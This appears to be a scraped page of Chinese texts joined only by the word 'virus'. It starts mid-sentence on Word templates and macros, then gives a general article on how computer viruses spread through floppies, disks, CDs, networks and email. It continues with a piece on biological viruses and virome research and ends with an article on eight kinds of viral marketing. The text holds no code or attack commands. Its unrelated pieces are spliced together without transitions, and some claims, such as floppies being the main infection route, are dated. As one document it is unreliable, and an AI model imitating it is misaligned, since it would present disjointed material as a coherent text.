以修改,也可以创建自己的模板。一般情况下,Word自动将新文档基于缺省的公用模板(Normal.dot)。 可以看出,模板在建立整个文档中所起的作用,作为基类,文档继承模板的属性,包括宏、菜单、格式等。 Word处理文档需要同时进行各种不同的动作,如打开文件、关闭文件、读取数据资料以及储存和打印等等。每一 种动作其实都对应着特定的宏命令,如存文件与FileSave相对应、改名存文

计算机病毒传播途径有哪些呢.doc

计算机病毒传播途径有哪些呢 计算机病毒是通过传播途径才能传播的!那么计算机病毒的传播途径有哪些呢?下面由我给你做出详细的计算机病毒传播途径介绍!希望对你有帮助! 计算机病毒传播途径说法一: 第一种途径:通过不可移动的计算机硬件设备进行传播,这些设备通常有计算机的专用ASIC芯片和硬盘等。这种病毒虽然极少,但破坏力却极强,目前尚没有较好的检测手段对付。 第二种途径:通过移动存储设备来传播这些设备包括软盘、磁带等。在移动存储设备中,软盘是使用最广泛移动最频繁的存储介质,因此也成了计算机病毒寄生的"温床"。目前,大多数计算机都是从这类途径感染病毒的。 第三种途径:通过计算机网络进行传播。现代信息技术的巨大进步已使空间距离不再遥远,"相隔天涯,如在咫尺",但也为计算机病毒的传播提供了新的"高速公路"。 计算机病毒可以附着在正常文件中通过网络进入一个又一个系统,国内计算机感染一种"进口"病毒已不再是什么大惊小怪的事了。 在我们信息国际化的同时,我们的病毒也在国际化。估计以后这种方式将成为第一传播途径。 第四种途径:通过点对点通信系统和无线通道传播。目前,这种传播途径还不是十分广泛,但预计在未来的信息时代,这种途径很可能与网络传

播途径成为病毒扩散的两大"时尚渠道"。 干净的网页未必就没毒,上网留下的IP地址可以被利用进行攻击。 计算机病毒传播途径说法二: (1)通过软盘:通过使用外界被感染的软盘, 例如, 不同渠道来的系统盘、来历不明的软件、游戏盘等是最普遍的传染途径。 由于使用带有病毒的软盘, 使机器感染病毒发病, 并传染给未被感染的"干净"的软盘。大量的软盘交换, 合法或非法的程序拷贝, 不加控制地随便在机器上使用各种软件造成了病毒感染、泛滥蔓延的温床。 (2)通过硬盘:通过硬盘传染也是重要的渠道, 由于带有病毒机器移到其它地方使用、维修等, 将干净的软盘传染并再扩散。 (3)通过光盘:因为光盘容量大,存储了海量的可执行文件,大量的病毒就有可能藏身于光盘,对只读式光盘,不能进行写操作,因此光盘上的病毒不能清除。 以谋利为目的非法盗版软件的制作过程中,不可能为病毒防护担负专门责任,也决不会有真正可靠可行的技术保障避免病毒的传入、传染、流行和扩散。当前,盗版光盘的泛滥给病毒的传播带来了很大的便利。 (4)通过网络:这种传染扩散极快, 能在很短时间内传遍网络上的机器。随着Internet的风靡,给病毒的传播又增加了新的途径,它的发展使病毒可能成为灾难,病毒的传播更迅速,反病毒的任务更加艰巨。Internet 带来两种不同的安全威胁,一种威胁来自文件下载,这些被浏览的或是被下载的文件可能存在病毒。另一种威胁来自电子邮件。

病毒与宏病毒全面解读

病毒与宏病毒全面解读 美格基因姜敬哲 病毒知多少? 提起病毒,人们想到的通常是SARS、埃博拉、艾滋、流感等这些令人不愉快的词汇。事实上,病毒不仅仅影响人的健康,它们还有更重要的使命:推动自然物种的更替与演化,驱动生物地球化学的循环(Suttle等,2005)。 世上丰度最高的类群 病毒是我们这个星球上丰度最高的生命体。它们存在于世界的任意角落:从体型硕大的蓝鲸、非洲象,到肉眼无法分辨的寄生虫、细菌、衣原体等,但凡是“活”的东西,都有专门负责“办”它的病毒。

图1 常见感染人体的病毒形状和大小 科学研究中的暗物质 据推测,地球上的病毒种类多达8700万种,其中可能感染人类的病毒就有73万种,但目前比较确认的已知病毒却只有约5000种,已知的人类病毒仅有263种(Geoghegan 等,2017;Carroll 等,2018)。由此可见,病毒是生命科学研究中实打实的“暗物质”。 图2 目前地球上已知和未知的病毒物种数量

宏病毒组 病毒和细菌不同,不同病毒基因组的差异非常大,根本没有16S rDNA这种进化保守的基因,所以无法做扩增子(Amplicon)。 2002 年,Forest Rowher课题组基于宏基因组(Metagenome)研究思路,对海水中的病毒进行了富集,高通量测序后发现大量的未知病毒(Breitbart等,2002)。自此,宏病毒组(Virome)概念应运而生(即,组成一个特定生态系统或共生系统中所有病毒的集合)。 2018 年,由包括我国高福院士在内的多位世界级病毒专家在Science杂志上联合刊文,提出“全球病毒组计划”(GVP)(Carroll等,2018),将宏病毒组研究推到了一个全新的高度。 CNS中的常客 近几年,科学家运用宏病毒组学技术对多种环境、动物、微生物、以及人类各种来源的样品进行了不少的研究,产生很多突破性成果,见刊CNS已成为常态。代表作如,美国能源部的联合基因组研究所(JGI)针对全球3042份各种来源的样品进行的病毒组分析,共获得超过125 000个DNA病毒的基因组序列,将已知病毒基因集扩大16倍(Paez-Espino等,2016)。 在病毒组领域,中国科学家在其中也扮演了重要角色。2016和2018年,Nature 杂志两次报道了我国科学家张永振团队的关于无脊椎动物和脊椎动物病毒组的研究成果。他们对388种无脊椎和低等脊椎动物样品进行了大规模的转录组测序,鉴定出1659种RNA病毒,其中绝大多数为首次发现(Shi等,2016和2018,图3)。该研究的意义在于,彻底重新构建了RNA病毒世界的系统发育树,对RNA 病毒的分类进行了全新的界定。

病毒式传播的八种方式

想想Facebook、LinkedIn、Youtube、Dropbox和Skype都有什么共同点?除了都非常成功之外,或许它们共同的特点就是能在快速增长过程中运用很有效的病毒式营销了。 至于这些公司是怎么做到的,来看看下面这八种方式吧。 1、天生的传播特性(Inherent virality) 这是最原始的一种病毒式传播,可以称得上是口碑效应。简单说就是如果你的产品足够好,自然会将你的用户转变为“传播者”。虽然刚开始这种传播效果并不明显,但经过一段时间后,就会出现爆炸性的增长,Skype就是最典型的例子。当然这种方式效果最好,但也较难实现。 2、协同效应传播(Collaboration virality) 这种传播是指虽然一个产品对单独一个用户来说是有价值的,但如果他推荐使用该产品的用户越多,这个产品对他来说产生的价值就会越大,那么使用者就会形成病毒式传播。比如Dropbox,你虽然可以用Dropbox存储文件,但如果可以和其他人共享文件,Dropbox就会给你带来更大的价值。 3、沟通效应传播(Communication virality) 这种情况一般会在交流工具中出现。通过某种交流工具(比如邮件),某个名称经常会在交流过程中出现,久而久之人们就会记住这个品牌。比如使用某种工具定期、群发、设定对象的发送邮件或微博时,人们收到的内容最后经常会有“由xx工具发送”类似的标注,这样人们就会不经意的记住这个产品。这也是一种病毒式传播,就像你经常会在别人的微博下看到“来自FaWave”、“来自36氪”一样。 4、激励效应传播(Incentivized virality)

这个其实很简单。比如你在一个网站上邀请了其他人加入进来的时候,系统会给你相应的奖励,就像Dropbox会给你增加空间、某些游戏会给你发放金币一样。这种策略虽然很简单,但屡试不爽,只要你不搞得原用户对此感到恶心就行。 5、可植入性传播(Embeddable virality) 这种病毒式营销非常适合内容性网站,比如以文章、视频、资料等为主要内容的网站。在这些内容里面,原创者会把原创信息植入进去,这样无论这些内容怎样传播,原创信息都会被用户看到。这看起来像是“软文”,但其实并不是软文。最简单的例子就是现在已经泛滥的“视频广告”,前面来一段感天动地、制作精良的短篇,最后来了个毫不相干的品牌名称(当然,有一些广告还是有关联的)。 6、签名式传播(Signature virality) 顾名思义,就是在传播本体最后加上一个签名。最常见的比如你做在线调查,最后生成调查报告时,通常会有一句“来自xxx调查网站”。或者当你看到信息图的时候,最后都会有一个“本信息图汉化来自36氪”的小图标。 7、社交化传播(Social virality) 这种传播依附现有的社交网络,当用户使用该产品的时候,社交网络会将相关信息显性或隐性地传播给其他用户。比如美国最大的社交网络游戏商Zynga就是通过这种方式,当你在玩某一游戏时,其他好友就会收到你正在玩这个游戏的信息,这样吸引新用户的速度就会变得更快。所以,这就是为什么很多网站会通过Facebook、微博等社交网络来授权注册账户。 8、话题性传播(Pure word of mouth virality) 注意,这不是单纯的口碑效应。当然,这里面有一些口碑效应的因素,但不全是。话题性传播是指人们愿意讨论这款产品或和这款产品相关的事件。比如你的产品确实很酷,或者出现了一个很值得人们讨论的话题,人们在讨论中便会记住你的产品或相关信息。但这种效果很难量化,因为如果话题只是该产品创始人的八卦信息的话,很难知道有多少人会因为这个八卦信息而使用你的产品。最后要注意的是,话题有好有坏。如果你制造的是反面话题的话,那就不是病毒式营销了,而是公关危机了。 如何量化病毒性传播 说完了上面这八种病毒式传播的方式,那我们该如何量化它呢?最懒最聪明的建议就是——不要去量化它。

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